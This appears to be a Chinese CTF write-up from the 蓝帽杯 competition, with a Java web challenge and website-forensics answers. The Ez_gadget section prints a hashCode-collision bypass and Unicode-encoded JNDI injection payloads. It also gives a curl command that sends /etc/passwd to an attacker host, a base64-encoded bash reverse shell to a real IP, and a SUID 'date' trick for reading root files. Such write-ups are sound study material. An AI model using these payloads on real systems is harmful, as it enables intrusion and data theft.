蓝帽杯——Web&网站取证

Ez_gadget

/json路由下,有个这样的判断

1
if (str != null && Objects.hashCode(str) == secret.getKey().hashCode() && !secret.getKey().equals(str)) 

这个牵扯到hashcode相同,但是字符串不一样,和md5弱碰撞有点像

找到这个博客:https://blog.csdn.net/weixin_44245828/article/details/109853439

img

根据博客内容将key:BHUCCIx2zF9mMpJ7进行调整,调整为BHUBbIx2zF9mMpJ7

一个值的ascii差了1,然后紧跟着就整一个ascii大31字母的进行补偿,其余不变

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'curl http://ip:7010 -Fe=@/etc/passwd' -A "ip"

img

发包,注意用unicode编码

1
str=xH8b2iQfPbGejJgs&input={"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://ip:1099/cw3nmu"}

尝试外带文件,测试/etc/passwd

1
str=BHUBbIx2zF9mMpJ7&input={"@type":"\u006f\u0072\u0067\u002e\u0061\u0070\u0061\u0063\u0068\u0065\u002e\u0078\u0062\u0065\u0061\u006e\u002e\u0070\u0072\u006f\u0070\u0065\u0072\u0074\u0079\u0065\u0064\u0069\u0074\u006f\u0072\u002e\u004a\u006e\u0064\u0069\u0043\u006f\u006e\u0076\u0065\u0072\u0074\u0065\u0072","AsText":"\u0072\u006d\u0069\u003a\u002f\u002f\u0031\u0031\u0036\u002e\u0036\u0032\u002e\u0032\u0034\u0030\u002e\u0031\u0034\u0038\u003a\u0031\u0030\u0039\u0039\u002f\u0063\u0077\u0033\u006e\u006d\u0075"}

img

反弹shell

1
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzExNi42Mi4yNDAuMTQ4LzcwMTAgMD4mMQ==}|{base64,-d}|{bash,-i}' -A "ip"

img

1
str=BHUBbIx2zF9mMpJ7&input={"@type":"\u006f\u0072\u0067\u002e\u0061\u0070\u0061\u0063\u0068\u0065\u002e\u0078\u0062\u0065\u0061\u006e\u002e\u0070\u0072\u006f\u0070\u0065\u0072\u0074\u0079\u0065\u0064\u0069\u0074\u006f\u0072\u002e\u004a\u006e\u0064\u0069\u0043\u006f\u006e\u0076\u0065\u0072\u0074\u0065\u0072","AsText":"\u0072\u006d\u0069\u003a\u002f\u002f\u0031\u0031\u0036\u002e\u0036\u0032\u002e\u0032\u0034\u0030\u002e\u0031\u0034\u0038\u003a\u0031\u0030\u0039\u0039\u002f\u0061\u006f\u006a\u0035\u0072\u0068"}

监听7010端口,反弹shell

img

但是权限有问题,根目录下没有flag文件,想到之前的一个提权学习

JerseyCTF 2022 / mist – root-me – it-sec.fail

img

模仿打一遍就可以了

1
2
find / -perm -u=s -type f 2>/dev/null
date -f /root/flag.txt

img

取证

顺带写一下部分网站取证部分

网站取证1

vscode搜索_POST,发现一句话木马

img

lanmaobei666

网站取证2

加密解密处理时 mcrypt_module_open()函数在7.1中被贬低,将在7.2中被移除,要用openssl_decrypt()函数代替。换用php5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
function my_encrypt(){
$str = 'P3LMJ4uCbkFJ/RarywrCvA==';
$str = str_replace(array("/r/n", "/r", "/n"), "", $str);
$key = 'PanGuShi';
$iv = substr(sha1($key),0,16);
$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,"",MCRYPT_MODE_CBC,"");
mcrypt_generic_init($td, "PanGuShi", $iv);
$decode = base64_decode($str);
$dencrypted = mdecrypt_generic($td, $decode);
mcrypt_generic_deinit($td);
mcrypt_module_close($td);
$dencrypted = trim($dencrypted);
return $dencrypted;
}
echo my_encrypt();
//KBLT123

KBLT123

网站取证3

找到加密函数,有个$key,就是salt值

img

jyzg123456

网站取证4

数据库中的money是加密的,不能直接进行加减,找到解密函数

img

bak.sql数据库中保存有汇率信息

image-20220712230533295

转账部分,转账的金额需要用上面的解密函数进行解密,编号2,3,4,5是对应的人员,这一点对应一下即可

image-20220712230614304

根据这些内容,写脚本算出最终的转账数目即可